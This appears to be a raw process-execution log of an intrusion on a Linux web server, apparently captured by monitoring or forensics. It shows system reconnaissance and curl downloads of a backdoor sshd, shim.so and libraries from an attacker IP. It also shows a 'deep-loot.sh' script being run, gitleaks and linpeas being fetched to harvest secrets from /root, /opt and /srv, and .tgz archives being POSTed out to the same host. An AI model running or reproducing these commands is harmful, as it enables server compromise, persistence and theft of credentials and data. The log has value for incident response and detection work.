2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shid -g
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shid -un
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shhostname -I
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shhostname -I
2026-10-31 01:28:5723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shnproc
2026-10-31 01:28:5723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:28:5723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shgrep -c ^processor /proc/cpuinfo
2026-10-31 01:28:5723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:28:5723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shsed -n s/^VERSION_CODENAME=//p /etc/os-release
2026-10-31 01:28:5723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shsed -n s/^VERSION_ID=//p /etc/os-release
2026-10-31 01:28:5723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shsed -n s/^ID=//p /etc/os-release
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shdf -kP /
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shdf -kP /
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shdf -P /
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk /^MemAvailable:/{print $2} /proc/meminfo
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk /^SwapTotal:/{print $2} /proc/meminfo
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk /^SwapFree:/{print $2} /proc/meminfo
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk /^MemFree:/{print $2} /proc/meminfo
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfo
2026-10-31 01:29:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shawk /^MemTotal:/{print $2} /proc/meminfo
2026-10-31 01:29:04Not attributedNot attributedbash -> bashcurl -sS -o .j/shim.so http://206.245.153.56:8088/j485/shim.so
2026-10-31 01:29:04Not attributedNot attributedbash -> bashchmod 755 .j/sshd .j/shim.so
2026-10-31 01:29:04Not attributedNot attributedbash -> bashcurl -sS -o .j/hostkey http://206.245.153.56:8088/j485/hostkey_j485
2026-10-31 01:29:0623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shps -e --no-headers
2026-10-31 01:29:1123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\n
2026-10-31 01:29:1123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind . -type f ! -name manifest.tsv -print0
2026-10-31 01:29:1123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /tmp/<REDACTED>-20261031/git -maxdepth 1 -mindepth 1 -type d
2026-10-31 01:29:1623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c ls -l /tmp/<REDACTED>-20261031/*.tsv 2>&1; ps -eo pid,etime,args | grep -E "collect|tar" | grep -v grep ; ls -l /tmp/<REDACTED>-20261031/04-sockets.tsv /tmp/<REDACTED>-20261031/17-sessions.tsv /tmp/<REDACTED>-20261031/18-uploads.tsv /tmp/<REDACTED>-20261031/configs.tsv /tmp/<REDACTED>-20261031/files.tsv /tmp/<REDACTED>-20261031/manifest.tsv /tmp/<REDACTED>-20261031/meta.tsv ; ps -eo pid,etime,args ; grep -E collect|tar ; grep -v grep
2026-10-31 01:29:1623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-20261031.tgz http://206.245.153.56:8088/1425/<REDACTED>-20261031.tgz
2026-10-31 01:29:18Not attributedNot attributedbash -> bashcurl -sS -o sshd http://206.245.153.56:8088/j485/sshd
2026-10-31 01:29:26Not attributedNot attributedbash -> bashcurl -sS -o hostkey http://206.245.153.56:8088/j485/hostkey_j485
2026-10-31 01:29:26Not attributedNot attributedbash -> bashcurl -sS -o shim.so http://206.245.153.56:8088/j485/shim.so
2026-10-31 01:29:3823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashls -la /tmp/<REDACTED>-20261031 /tmp/<REDACTED>-20261031.tgz
2026-10-31 01:29:46Not attributedNot attributedbash -> bashls -l
2026-10-31 01:29:46Not attributedNot attributedbash -> bashchmod 755 sshd shim.so
2026-10-31 01:29:5323.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c wc -l /tmp/<REDACTED>-20261031/meta.tsv; tail -3 /tmp/<REDACTED>-20261031/meta.tsv; ps -o pid,stat,etime -p 390; ls -l /proc/390/fd 2>/dev/null | tail -5 ; wc -l /tmp/<REDACTED>-20261031/meta.tsv ; tail -3 /tmp/<REDACTED>-20261031/meta.tsv ; ps -o pid,stat,etime -p 390 ; ls -l /proc/390/fd ; tail -5
2026-10-31 01:30:0223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c ls -l /tmp/*.tgz 2>&1; ps aux | grep -c collect ; ls -l /tmp/<REDACTED>-20261031.tgz ; ps aux ; grep -c collect
2026-10-31 01:30:0923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashcurl -sS -o /tmp/deep-loot.sh http://206.245.153.56:8088/tools/deep-loot.sh
2026-10-31 01:30:23Not attributedNot attributedbash -> bashchmod 700 ak ak/www-data
2026-10-31 01:30:23Not attributedNot attributedbash -> bashls -l
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1425/<REDACTED>-deep.tgz
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh ; sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 120 sh -c curl -sSL --max-time 100 -o '/tmp/.loot-tools/linpeas.sh' https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sSL --max-time 100 -o /tmp/.loot-tools/linpeas.sh https://github.com/peass-ng/PEASS-ng/releases/download/20261021-2fe956c4/linpeas.sh
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sSL --max-time 150 -o /tmp/.loot-tools/gl.tgz https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /tmp/<REDACTED>-deep -maxdepth 1 -name gitleaks-*.json -size +2c
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /tmp/<REDACTED>-deep -maxdepth 1 -type f -printf %P %s
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks' ; sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks'
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentbash -> bashsh /tmp/deep-loot.sh -i 1425 -n <REDACTED>-deep -l
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shmkdir -p /tmp/<REDACTED>-deep /tmp/.loot-tools /tmp/.loot-home
2026-10-31 01:30:2823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 180 sh -c curl -sSL --max-time 150 -o '/tmp/.loot-tools/gl.tgz' https://github.com/gitleaks/gitleaks/releases/download/v8.30.1/gitleaks_8.30.1_linux_x64.tar.gz && tar xzf '/tmp/.loot-tools/gl.tgz' -C '/tmp/.loot-tools' && chmod +x '/tmp/.loot-tools/gitleaks'
2026-10-31 01:30:3823.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -l /tmp/<REDACTED>-deep
2026-10-31 01:31:02Not attributedNot attributedbash -> bashls -l /var/log/apache2/.j/sshd.pid
2026-10-31 01:31:02Not attributedNot attributedbash -> bashpgrep -af sshd
2026-10-31 01:31:48206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentbash -> bashmkdir -p /tmp/.loot-tools ; curl -sS -o /tmp/.loot-tools/gitleaks http://206.245.153.56:8088/tools/j490/gl/gitleaks ; bash -c mkdir -p /tmp/.loot-tools; curl -sS -o /tmp/.loot-tools/gitleaks http://206.245.153.56:8088/tools/j490/gl/gitleaks && chmod +x /tmp/.loot-tools/gitleaks && /tmp/.loot-tools/gitleaks version ; chmod +x /tmp/.loot-tools/gitleaks ; /tmp/.loot-tools/gitleaks version
2026-10-31 01:31:50Not attributedNot attributedbash -> bashcurl -sS -o libwrap.so.0.7.6 http://206.245.153.56:8088/j485/libwrap.so.0.7.6
2026-10-31 01:32:42Not attributedNot attributedbash -> bashchmod 755 libwrap.so.0.7.6
2026-10-31 01:32:42Not attributedNot attributedbash -> bashcurl -sS -o libnsl.so.2 http://206.245.153.56:8088/j485/libnsl.so.2.0.1
2026-10-31 01:32:42Not attributedNot attributedbash -> bashcurl -sS -o libwrap.so.0 http://206.245.153.56:8088/j485/libwrap.so.0
2026-10-31 01:33:27Not attributedNot attributedbash -> bashchmod 755 libnsl.so.2
2026-10-31 01:33:27Not attributedNot attributedbash -> bashcurl -sS -o libtirpc.so.3 http://206.245.153.56:8088/j485/libtirpc.so.3
2026-10-31 01:33:53Not attributedNot attributedbash -> bashchmod 755 libtirpc.so.3
2026-10-31 01:34:20206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c ls -l /tmp/.loot-tools; echo AA; /tmp/.loot-tools/gitleaks version; echo AB ; ls -l /tmp/.loot-tools ; /tmp/.loot-tools/gitleaks version
2026-10-31 01:34:29206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentbash -> bashsh /tmp/deep-loot.sh -i 1425 -n <REDACTED>-deep2 -l
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /home /opt /srv -xdev -type d -name .git -prune
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /tmp/<REDACTED>-deep2 -maxdepth 1 -name gitleaks-*.json -size +2c
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> sh/tmp/.loot-tools/gitleaks dir /srv --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-srv.json --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120
2026-10-31 01:34:33206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120
